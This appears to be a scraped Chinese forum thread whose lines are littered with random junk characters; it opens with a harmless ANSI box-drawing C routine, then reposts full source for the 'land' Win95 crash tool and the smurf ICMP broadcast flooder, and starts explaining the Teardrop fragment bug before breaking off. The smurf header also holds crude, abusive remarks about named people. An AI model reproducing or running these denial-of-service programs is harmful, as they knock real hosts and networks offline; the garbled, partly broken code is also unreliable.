# }. t, q3 S: J2 w6 {' k% Q. [* S*
9 n% P8 \+ v: U' @9 ~. Z9 k0 k* Short driver module
+ L* I0 _- k" [9 H  C1 Q- ^6 k*" \9 }, y4 b4 S4 _4 O, j
*/</FONT></P><><FONT color=#009900>main()
1 e3 ~! |* c1 k8 f# {7 ~{
0 ~% J5 c+ E2 R. p$ i  c: Sclrscr();: X. d3 k) X. r( n$ n7 f
box(1,1,23,79);4 }+ {7 z9 A2 j2 Q. n# P$ e
box(2,2,21,77);& w' V+ X* g* I) R3 D6 T/ q0 ^# R* K
box(3,3,19,75);
' S3 \4 s) t/ ~' r3 ^box(4,4,17,73);0 T: r; X3 Y* v+ {
box(5,5,15,71);
; g5 l0 N/ T9 e! \7 Sbox(6,6,13,69);. ]  U1 p' C7 t6 I& D* }) {
box(7,7,11,67);
* x. v) z: _) S* |' A& J7 tbox(8,8,9,65);
0 g9 W! o) U! z- U7 a! gbox(9,9,7,63);( A% @- T8 u3 B
box(10,10,5,61);
- s5 `  B/ i- D: H3 Ybox(11,11,3,59);
% x& Q- J1 @+ pbox(12,12,1,57);4 @+ x8 ?9 Z; M4 H2 {5 z" }
poscur(24,1);
. d6 C# C& x4 b0 U' z}</FONT></P><><FONT color=#009900>/************************************************************
5 W5 ]# a3 w# Q0 G5 T2 z* z* BOX *. n& |) Z6 a: u+ L
*----------------------------------------------------------*$ u1 [5 |) A5 G
* Written by: Jeff Ebert 7/01/87 *9 x. j& R2 x  }: s" ~
* Modified by: xxxxxxxxxx *
, a$ q- Q' ^, a" a/ f* *
. J1 c: F* z3 a* Please modify me! *
. i2 C$ R( Q4 O3 ^/ W* Possible Enhancements include but are not limited t *
$ @: r# J1 D5 R8 S& v; |* 1) Variable box character styles [1 line or 2] *5 J! t1 P- }# c; d4 s( B
* 2) Error checking *, |4 d8 S/ k% {2 B2 \9 j: s; X
* 3) Color options *8 h; d0 l+ w6 T4 y& {- F
* *9 R1 d) D/ X; M: M9 F  Z6 W; L5 I4 @
* *
' ^% ?+ k- H7 t3 S, G: P4 _1 M* This function builds a simple double frame for a menu. *
9 T/ C6 \9 E# F/ D2 z8 c* i3 b& J* The function is passed the parameters for the upper *8 d% W& w; X3 j) |' D. z: p
* left corner row, upper left corner column the height *6 G2 J% Z( U6 K4 y& ^% ?
* of the frame and the width. *
4 ]0 h' r% t# `/ ~0 @3 d* *
2 H5 O5 b9 J! Q/ r$ }  I************************************************************/
; k/ R" P' O0 s; ^#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 201% ^) v% j, z  z$ r; F, U
#define URCOR 187
5 l3 ^7 @9 z; P2 l6 O#define LLCOR 2000 v0 E4 `: n- N9 A
#define LRCOR 188' q* R; G' S- T( D/ j7 z
#define VBAR 186
  T" x' B  r* J" i) _#define HBAR 205
$ \! E4 Q: [) j" W0 R5 ~#define ESC 27</FONT></P><><FONT color=#009900>
, q$ d- c% X9 n8 B' m3 [box(row, col, hgt, wdth): W9 `: j% T" U1 n1 R1 C1 v. f
int row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{( p& d1 V3 a" a5 t8 d; }3 `
int x, y;</FONT></P><><FONT color=#009900>poscur(row,col);
# w: c# a0 N) R0 Yputchar(ULCOR);! k: G0 H5 ?) b$ s1 J7 s
for(x = col + 1; x &lt;=(col + wdth -1); x++)* b, j( e5 D& |. `& G3 ]1 u
putchar(HBAR);
  C. y8 C$ [4 }! [* A+ A) N: Lputchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){$ d% C+ D/ j1 f0 i2 B: `5 I
poscur(x,col);( d. ?5 g, `" C) l' v7 d
putchar(VBAR);
8 |) U1 b: a9 iposcur(x,col+wdth);
) q: L3 M9 ]6 Kputchar(VBAR);
$ M% l" @1 ^: m# e# G1 L}
  l) C, N: a5 k5 sposcur(x,col);
1 p% n% H) ?9 Hputchar(LLCOR);$ f& [2 ~( H" q! c1 D( p5 B$ z
for(x= col + 1; x &lt;=(col + wdth -1); x++)+ U5 q* ~; E" C
putchar(HBAR);
; g4 O$ j- i/ n& M* t% Nputchar(LRCOR);
8 y  I" J( R5 O" c8 W* b, e2 E4 A}</FONT></P><><FONT color=#009900>/********************************************************+ F, ]: o; k# h; w7 O
* POSCUR *8 ]$ d! L9 n; T1 x3 W
*------------------------------------------------------*( M' L* {9 K5 k- [
* This function positions the cursor at the specified *0 I8 n7 ?, `+ v! v, L
* x,y coordinate. It uses the ANSI standard ESCAPE *
( b& e3 c7 C  I- V2 t% B" o8 C* K* sequence to produce the desired effect. Its not the *4 J* t. I8 j3 o
* fastest way to position the cursor, but perhaps the *
9 V+ M" l4 D3 R% ^* most portable. *
0 B3 H+ A$ G6 t* P* *
3 v1 D# ~2 i$ b0 N  o. ~********************************************************/
  A" e( u$ x( q  k9 o; T: ~poscur(xcor,ycor)
) [% |+ R6 _% x. Z( zint xcor,ycor;. E9 I; J3 z  ^$ k0 o3 |1 u
{
0 `4 ^2 c7 s. N2 A+ [- ^printf("%c[%d;%dH",ESC,xcor,ycor);) f5 I+ u, T/ U4 K
}</FONT></P><><FONT color=#009900>
4 i/ k* N  {, S! V, t/********************************************************
/ c0 O! i- r+ E* CLRSCR *
  L- Z, Z8 d6 _% d1 j8 a*------------------------------------------------------*- t3 S* o) j( ?! \1 _9 O
* This function positions the cursor at the specified *4 j- D. I1 B" v0 s- a5 j2 q
* x,y coordinate. It uses the ANSI standard ESCAPE *% `0 u! K2 s1 h
* sequence to produce the desired effect. Its not the *9 Y/ Z2 }+ y# F, X2 P' }
* fastest way to position the cursor, but perhaps the *
  G1 @4 m3 A4 M$ X* most portable. *4 {" t( w6 w/ m$ Z9 v4 d
* *
, C# k0 v1 L, w. u7 C, ^; @********************************************************/
& p: ?. s5 I6 m9 q6 S$ gclrscr()0 W' ?9 I# V8 B+ ~8 ?+ Q
{
  V" D: v7 `7 Z7 |7 H. {+ b1 ^. eprintf("%c[2J",ESC);
. p% C* ]2 M# ~0 n( ^7 |2 c}</FONT>" u: p% F% O/ C+ B- G
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract
" T9 R& Y, V& r- C' ?1 J5 }) J这里有一些是老的,现在看来并没有用,但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自
: r. g& U$ l4 t* @+ h/ I& Y己的同一个端口发起连接(发SYN),Win95即会崩溃。</P><>
, E/ k( e4 F4 \% p2 V  r% A4 U( Z<FONT color=#009900>/* land.c by m3lt, FLC
: L6 D  G7 O* V# C2 K* Scrashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>
# |/ L' S: Y$ L#include <NETDB.H>
% X" h2 q$ f, s* Q  N. K! V#include <ARPA inet.h>
7 w7 ?  t: A% }* g0 B& D#include <NETINET in.h>) ?; M4 l$ ^3 s! M) ?
#include <SYS types.h>5 J* B6 U: m# l5 r
#include <SYS socket.h>
/ w  w" @$ \: \7 E4 Q& i#include <NETINET ip.h>
( d3 M0 E5 z4 J& G! p3 {#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头
7 Y, J0 z! c3 zstruct pseudohdr6 N: ?/ Q0 S6 S
{& r, T4 K' Y: e% A; H( v( j. a
struct in_addr saddr;* K) ]% m  ~7 m+ I; d( k, T- n
struct in_addr daddr;
; a* f. h% U9 H0 W+ o# E5 qu_char zero;
/ I% s/ F0 i/ W5 |. [$ h/ P8 _u_char protocol;( \9 K2 T8 s/ D9 n' m' S
u_short length;
2 }7 z$ }- a2 N7 U' Dstruct tcphdr tcpheader;0 K9 r8 P& o) i" Q- z9 @
};</FONT></P><><FONT color=#009900>//计算IP校验和
% y; |4 X! A5 Y& cu_short checksum(u_short * data,u_short length)& @% {& |3 H" \& ~. c
{  u3 f2 m: g. H6 T
register long value;4 E! m$ w3 r$ Y3 U/ g! z% [
u_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)
( e2 e' x! Y+ c% ^2 `* mvalue+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)
6 l2 _7 I' n0 ]# P- l4 u4 c. f) m, Cvalue+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);
( r( P7 V$ d, `# ?; y3 j3 S}</FONT></P><><FONT color=#009900>% n* j+ w8 m( j3 j+ O
int main(int argc,char * * argv)
8 |+ M- T/ |& n5 ~{( o- {+ k7 A3 E. S: L
struct sockaddr_in sin;. W/ [& j8 b3 e0 z4 k
struct hostent * hoste;
% I, Z$ q9 L( B9 G% W9 Rint sock;
3 \+ S+ r7 m9 {: qchar buffer[40];* i! T& ?7 i! L* F6 N
struct iphdr * ipheader=(struct iphdr *) buffer;8 U* T4 \7 s2 x, U2 Q* e7 o
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));3 r5 J- V6 S" [% B1 ~
struct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)3 Y& N; F" p/ R1 ^7 U1 R: @) ~
{' A9 E. p( t  M4 V' V( G8 N
fprintf(stderr,"usage: %s IP port\n",argv[0]);8 r( x' G9 @: ~$ j
return(-1);
! ]% H/ h, R- ?2 k* i2 s}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));
+ h1 b. _# t; b8 }! d9 S. Qsin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)* q: E. @" b1 u, u* s5 S
bcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);
5 A- G0 _5 X! U/ e- relse if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)! N: K3 {! U- J& s5 ^5 U6 p7 l! U
{
8 E# E( M" e% ^+ q$ P! ofprintf(stderr,"unknown host %s\n",argv[1]);$ b# u* M- ?% G9 R
return(-1);' h0 I% f' g, ?  _" Y! D
}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)' a, ]9 p% P' B0 x& a
{
! P3 T* j! w) k8 m2 ~6 ofprintf(stderr,"unknown port %s\n",argv[2]);% [* j3 V# j# a& I; Q
return(-1);
& c0 R8 _# B2 X8 m3 x3 V$ k4 k1 A% c}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限
4 M  p9 Z% U  Kif((sock=socket(AF_INET,SOCK_RAW,255))==-1)
1 o; p* w+ N. ]{/ \$ r0 O# i- k9 w# C3 W, t
fprintf(stderr,"couldn't allocate raw socket\n");
3 K; r5 w8 T) a" Y3 ?0 oreturn(-1);$ V* W" P3 v7 O- J4 e
}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
. K  h9 T  c+ i8 Qipheader-&gt;version=4;" x- L3 W4 F3 c+ N% P
ipheader-&gt;ihl=sizeof(struct iphdr)/4;
* q, n# k( x' e8 B- [ipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
, }! ~5 d" s/ B4 d) dipheader-&gt;id=htons(0xF1C);' ^# t5 f+ M8 _& e& d: b
ipheader-&gt;ttl=255;+ l( V- Z+ Y4 `6 d! A
ipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同
7 v. C5 I( W0 |. E1 T1 Fipheader-&gt;saddr=sin.sin_addr.s_addr;
) p9 I% F" {; Z" K/ Lipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同, e/ y" M6 d% ^
tcpheader-&gt;th_sport=sin.sin_port;
2 @' z! W4 P- |4 S- Y6 f$ utcpheader-&gt;th_dport=sin.sin_port;
; g( F( b0 W) q) x/ k# }1 ^. Stcpheader-&gt;th_seq=htonl(0xF1C);
; N  A2 L1 |! wtcpheader-&gt;th_flags=TH_SYN;" C! E5 ~4 }( R8 y
tcpheader-&gt;th_off=sizeof(struct tcphdr)/4;
" e* r* U/ U( i: p  f* ktcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));# a+ ?/ y% I5 _* F; e
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
$ X: ]) _0 p# }2 Y  spseudoheader.daddr.s_addr=sin.sin_addr.s_addr;6 T* A0 p/ B& L' n) }
pseudoheader.protocol=6;
0 ^! E; {: [# Xpseudoheader.length=htons(sizeof(struct tcphdr));
6 l5 p: |3 m# A$ T7 Y) V6 Nbcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));* y% \2 N1 ^5 b# h0 k7 m
tcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),
; Y! U! V2 |+ o& H) o0 k3 O( d0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1)
# `1 u5 j) |9 _( M* N! ?{
6 W5 T6 O! j: k: t1 {fprintf(stderr,"couldn't send packet\n");
0 W0 d/ c6 E' D7 @$ D9 a" breturn(-1);
* E& o7 k1 g! X9 Q8 d6 W}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);
# J3 ~! E! D) t, _- A8 hreturn(0);8 A9 y: I2 }3 s  e7 y: T
}</FONT></P><>
% _- ?( }5 I8 d6 N" ~2 Smurf
9 L0 R3 W2 `0 |0 ~0 r/ z8 J- Fsmurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数+ C/ A9 n9 U6 H: e- K4 [
据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包" S) e# W6 C- b+ l
的源地址)崩溃。</P><>受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些
% |8 X5 ^* K' ?: y# n4 T( q& Ticmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢
1 d0 x- B5 Y3 w- g( B  v8 _* m2 r(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变+ O2 `; [( G% H* q2 c- x/ Q! {' ?5 k
成不可能(没有WINS服务器时)。</P><P>/*
5 a2 l% {$ B( Y/ Q7 A, D*
  X3 H6 R/ K5 y2 w% I7 v* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
" r/ d) {+ @, m*
' E) m* l/ g( \# R/ [* spoofs icmp packets from a host to various broadcast addresses resulting
3 |% ^1 x( \' N- @* in multiple replies to that host from a single packet.; @2 x3 y: ]9 b1 H9 x6 X
*
8 @$ W6 o: h8 c0 \4 I" J* mad head t, Z3 ~+ q3 a0 U! Y
* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,3 R+ w2 M8 }2 L
* MissSatan for swallowing, napster for pimping my sister, the guy that
1 ]4 x7 s1 [8 Z2 D' }" e. U4 Z& A6 B* invented vaseline, fyber for trying, knowy, old school #havok, kain
0 s) }: F  e8 F" D3 ]7 r* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might# b7 w- L- N% T7 k( l$ Q; N' q/ F7 J
* have missed (you know who you are).3 l5 i- q6 k- Q4 u
*  \: h% [( \& j9 ]* [
* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
- p4 }9 P0 j& \1 S* thing he is (he's -almost- as stubborn as me, still i managed to pick up
3 J0 d8 l. f1 g# g* q6 J  ]* half the cheque).
+ o! J. i/ n; d- \0 u+ A+ b5 \4 [/ K*1 P1 u+ u+ N0 e+ G8 m& _# i4 r! s
* and a special hi to Todd, face it dude, you're fucking awesome.6 y3 |4 W0 S' I( |& w6 a* ~
*
. c/ X" m+ Z2 S* k* mad anal t6 L* K) G' p( L# f1 s$ v5 M! {
* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps+ L6 x$ X3 m$ f) {% z7 ]! Z
* because they plain suck, Rolex for being a twit, everyone that
6 E! r. b7 t1 P) t* trades warez, Caren for being a lesbian hoe, AcidKill for being her8 D0 S, [- N2 ?3 c( x: I
* partner, #cha0s, sedriss for having an ego in inverse proportion to
* r) v; Y: M; @1 h7 x* his penis and anyone that can't pee standing up -- you don't know what7 p2 m" P2 y" a
* your missing out on.- `  Z) I, x( T$ [' i# f
*
" j: q- K! P$ v7 t5 q* and anyone thats ripped my code (diff smurf.c axcast.c is rather5 ?! `2 e8 m  a1 B# h1 n
* interesting).
# N1 b; a; s( y*& U7 E* g$ `  S& ^/ _. i
* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill+ K4 ?, F; n% m$ t: i
* Robbins for trying to steal my girlfriend. Not only did you show me* H  T8 j0 f6 L2 Z* U7 t
* no respect but you're a manipulating prick who tried to take away the# m2 x9 M4 ~5 e6 e
* most important thing in the world to me with no guilt whatsoever, and/ o8 r* d1 u, q8 ^) W9 z
* for that I wish you nothing but pain. Die.$ x0 V2 s3 }# Q; Q, V. a/ B# S
*% M/ h, g$ E% S0 i- a+ e
* disclaimer:
. G+ T: p' l  q* I cannot and will not be held responsible nor legally bound for the4 Z0 L% B  w$ F3 A
* malicious activities of individuals who come into possession of this* e9 T% L/ g$ ?* g) Z+ V# ~/ f
* program and I refuse to provide help or support of any kind and do NOT0 ?  P' g' Y9 o& K; x
* condone use of this program to deny service to anyone or any machine.
5 s9 i  [, x* g# A: ]* This is for educational use only. Please Don't abuse this.$ M9 d3 l, ]- d4 G; N- g
*
$ o: W$ d  p  ~- ?: @* Well, i really, really, hate this code, but yet here I am creating another
3 Z: Y1 ~, n4 R: O* disgusting version of it. Odd, indeed. So why did I write it? Well, I,6 M$ S2 z( I8 ~* l* ?
* like most programmers don't like seeing bugs in their code. I saw a few9 o$ i1 ~2 F& k# I6 u
* things that should have been done better or needed fixing so I fixed3 }- f0 A2 o, u: e; H
* them. -shrug-, programming for me as always seemed to take the pain away- g8 O1 \; n4 h2 R9 P
* ...6 u8 F, s8 U$ A, i+ ~7 {: J* N" \
*, k1 ~) j( z( |( r
*
: m/ [% d! N  Q8 {*/</P><P>#include <SIGNAL.H>( M& C0 q' U4 q8 x
#include <STDIO.H># T! Z' i' I6 }5 b
#include <STDLIB.H>
. Y9 d+ `5 J; q  O, m#include <SYS socket.h>
! v* [  `1 |' Y, M3 A& V#include <SYS types.h>
: r0 b1 G6 c, D4 E; j  s' K3 [, x#include <NETINET in.h>! g* c; e0 t" v' R& p, w
#include <NETINET ip.h>
) @" b: m4 r, s/ S1 j9 h6 O#include <NETINET ip_icmp.h>
2 c) s+ O3 V# a* v7 G3 ~2 K+ W#include <NETDB.H>
& B9 w) _/ T9 m7 m#include <CTYPE.H>+ K4 h* l* q% f8 L/ V" ]; N
#include <ARPA inet.h>
; i7 V) y8 L" U3 o. v#include <UNISTD.H>
# V( G6 @# S! M. t5 m1 }#include <STRING.H></P><P>void banner(void);
) v6 S/ r0 B* R' O7 x) r" hvoid usage(char *);
% E0 A2 }; C) B- x' \: Uvoid smurf(int, struct sockaddr_in, u_long, int);
% m$ P3 y, {9 m* H' k) g7 ^" ovoid ctrlc(int);
, e, l, E( Q- n8 I  ]3 K  T9 `unsigned short in_chksum(u_short *, int);</P><P>/* stamp */. q; V3 O% q+ O( F/ i' g5 B! O
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[]). N, C! ]# R2 X4 ]# H3 O
{9 o6 J& M6 ?. K3 w) n1 m5 K# G
struct sockaddr_in sin;  l. v- I* S* x
struct hostent *he;
7 M" _) Z5 w( m* e- |FILE *bcastfile;
0 G3 v: |3 f' l5 i) y" I# x7 cint i, sock, bcast, delay, num, pktsize, cycle = 0, x;/ K7 t9 f' [. ~( \5 r) i9 M# l  T
char buf[32], **bcastaddr = malloc(8192);</P><P>banner();
6 o1 T! x8 G; K  fsignal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {$ s* e9 m& W& f! ]
perror("resolving source host");
) i$ q1 e# e  B$ N- Kexit(-1);
7 Z: G% Q# ]' L$ a* C+ }* {. U7 V}
$ _) P' r7 e3 g6 Y! r4 I. J+ y0 Ememcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);
6 ^3 w/ ]; g: T8 Zsin.sin_family = AF_INET;
4 I! R/ p/ ~: a( k4 N% b, _sin.sin_port = htons(0);</P><P>num = atoi(argv[3]);  h& e% \1 r4 ^. H6 t$ d: S
delay = atoi(argv[4]);
. F/ K. }. {4 V' K. Ypktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {
& t6 r6 m8 N# n$ g, [7 G( T2 Iperror("opening bcast file");
/ U+ a) L" C, s0 ^exit(-1);
1 |8 N' e8 E8 B}
9 @% t$ B3 p+ K! }x = 0;& y& ^; C* ~  _2 v6 A
while (!feof(bcastfile)) {
; k# d% y2 _* g, o1 ?fgets(buf, 32, bcastfile);  a6 h; c! V6 L  `1 N3 F/ ]  D
if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;2 L- O+ Y1 _. c$ p
for (i = 0; i &lt; strlen(buf); i++)% u: R' z' \% R1 F9 d
if (buf == '\n') buf = '\0';
; r$ C2 a* U7 zbcastaddr[x] = malloc(32);
1 a' x  M1 m. P5 k3 F1 Ostrcpy(bcastaddr[x], buf);* \9 P; q4 ~& J& }$ J1 E
x++;; P. ~# S! _4 P5 t
}/ ]' N1 w( ~! @0 r4 q1 o) l
bcastaddr[x] = 0x0;
# |6 r- b% P; S9 |7 r8 c+ @fclose(bcastfile);</P><P>if (x == 0) {7 q, ~% U9 ^3 a/ \7 E7 O0 d1 h* a  o
fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);5 C+ {1 M8 \( B  Q
exit(-1);
* F: m3 T3 A) s! P}3 E0 j5 N! ?8 h+ }# P# N0 p
if (pktsize &gt; 1024) {
% Z2 t% ^' \* d$ Pfprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");+ S5 A/ O" N+ j3 c
exit(-1);
/ B4 U8 f* q5 a- E. i}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {& G" H# k4 D$ g4 Z/ {# {
perror("getting socket");
9 g$ d  Y9 M; D+ E( uexit(-1);/ p2 X, t2 y6 U( f8 I5 \
}
0 S) y0 j5 L0 \; ]setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {3 e- t( }% R" z% G- T/ M. n
if (!(i % 25)) { printf("."); fflush(stdout); }
9 [) L; M% A* N# }  |smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
! Q& K# ], {5 P& ~1 S1 Z5 Kcycle++;
7 n. W) Z* y1 b3 I: f  L; y' E/ Mif (bcastaddr[cycle] == 0x0) cycle = 0;4 e+ u) y  ~7 Q* ^: T9 x0 ?& P! V
usleep(delay);  u5 e' Z3 t; F' @/ ~
}; B. I% T0 ^' k* ]# j2 o7 l
puts("\n\n");
, L/ Q  e% H. M) X6 `return 0;
9 }' P: F& k/ Z- Y$ W}</P><P>void banner (void)5 j) J$ a8 t8 F
{
  B/ i+ |+ T' c: }# C0 zputs("\nsmurf.c v4.0 by TFreak\n");* n: G6 ~0 u- c1 o
}</P><P>void usage (char *prog)
1 K' D) D! g; T- Q* |{, Q7 T3 q; \$ f' |- Q. f. C* H
fprintf(stderr, "usage: %s <TARGET><BCAST file>"
% ^8 Q3 I# G5 p6 d"<NUM packets> <PACKET delay><PACKET size>\n\n"
& e; i8 a0 V* I! @$ H+ l! E"target = address to hit\n"/ h$ D5 i; ]- L+ S' C
"bcast file = file to read broadcast addresses from\n"
- z7 r& I9 A$ R4 M2 _"num packets = number of packets to send (0 = flood)\n"
9 U0 [9 i$ a/ a( ?7 w4 Y: ~"packet delay = wait between each packet (in ms)\n"
4 W) u$ @6 p+ @5 n7 e5 `4 s0 }  a"packet size = size of packet (&lt; 1024)\n\n", prog);5 \2 v' c& ?) ?5 A; U- X
exit(-1);
4 ]0 i5 @' t. q8 Q: f, v}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
+ _3 W$ }; G3 i- a/ e2 Y5 A# g( V{
5 r( @2 m+ o' fstruct iphdr *ip;
7 l4 P. e* R7 f0 `# H" Wstruct icmphdr *icmp;' Y4 {& x- x) [6 `0 h7 j" d' W+ j/ I! _
char *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);, O6 \! ]7 [# m5 @# w1 m3 P& X! ?
ip = (struct iphdr *)packet;
; @6 s, B0 C# B" m* Ticmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);" V5 Q, F* E9 T; y/ }
ip-&gt;ihl = 5;
- q) }9 U, }& Z. }+ [8 i3 y% bip-&gt;version = 4;
: W3 n; ^: A5 gip-&gt;ttl = 255;
6 `% u# Y( ]- Fip-&gt;tos = 0;
6 P: B9 J; V. E7 O4 tip-&gt;frag_off = 0;- c! w, F  i1 X; B( Z
ip-&gt;protocol = IPPROTO_ICMP;
: A4 P1 c" v- O9 ~8 yip-&gt;saddr = sin.sin_addr.s_addr;
: t  m6 r' M4 ]ip-&gt;daddr = dest;7 ^) h+ c/ L4 t6 v1 ]1 v3 k7 H
ip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));
" g2 ?: N' F+ \) |; `icmp-&gt;type = 8;# t) [6 w( c! T( g! P% S" Z
icmp-&gt;code = 0;3 ?0 Z( X( I4 g! V4 z! `
icmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,7 h: i: R/ ~! f* K
0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */
0 v/ P1 t& C: L5 l4 b}</P><P>void ctrlc (int ignored)
+ Q, D  a/ r" f{
* i- {% l- w6 J8 D" `! p/ eputs("\nDone!\n");
" g8 k3 i1 B: O' q# N: M% Q2 gexit(1);! k' _7 \+ h# ^3 U" ]
}</P><P>unsigned short in_chksum (u_short *addr, int len)
3 T2 m$ q) M% R  ]8 y0 I, B# O{9 D& M( G; r1 B1 @. t5 P7 J
register int nleft = len;8 A) q6 l3 @1 l3 x; h7 P
register int sum = 0;
' l4 z0 `% b. y7 h( B1 Su_short answer = 0;</P><P>while (nleft &gt; 1) {1 M  ^! m* p6 ?
sum += *addr++;2 q1 x7 C7 h. G% R5 v
nleft -= 2;1 T8 \8 N' \6 L$ v7 L
}</P><P>if (nleft == 1) {
/ y  u" B1 o1 o$ g+ t. [*(u_char *)(&amp;answer) = *(u_char *)addr;# P1 h% R# Q7 Q4 N1 }
sum += answer;, L( ?  @) E0 G+ V
}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);
) w* \) c; g% L3 L2 s( msum += (sum &gt;&gt; 16);  |- O$ ?8 k4 }. x$ y
answer = ~sum;$ }) q) S5 B* G/ |. P( A* e
return(answer);( i' s- q1 j4 ?6 c0 S
}</P><P>8 V: M4 }+ M% Z4 Q
3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中:</P><P>在循环中重组ip包:
3 v& Z1 n0 O0 q6 J! kfp = qp-&gt;fragments;1 U+ e2 l) P) f- [4 E
while(fp != NULL)5 x8 ^. x- {2 \% @( E
{
+ g+ u- ]8 f0 J! {0 y. e! nif(count+fp-&gt;len &gt; skb-&gt;len)
% }; V+ T1 Y8 k+ w! A{; _: @% O2 b! m' X; _- v& D
error_to_big;
$ D4 @& Z$ T4 l/ e( N/ I% [$ k}9 }9 ]7 H0 G4 v" w5 `
memcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);. S$ c* R7 h: `
count += fp-&gt;len;' b% O: p- Q& M, [6 `* ?
fp = fp-&gt;next;( j5 R8 B9 d0 t
}
0 r8 b8 l- C0 P5 {这里只检查了长度过大的情况,而没有考虑长度过小的情况,0 ~( R& u) x3 f0 v
如 fp-&gt;len&lt;0 时,也会使内核拷贝过多的东西。</P><P>计算分片的结束位置:) V9 V2 y5 W- F2 t& e, C+ J
end = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的)/ u5 e! l; k) L/ k
是这样处理的:: r* Z% T* D+ Y( S
if (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)
" g2 c) R5 r/ z) B# D0 }{- v8 H/ m7 N' A0 B; W) {5 U
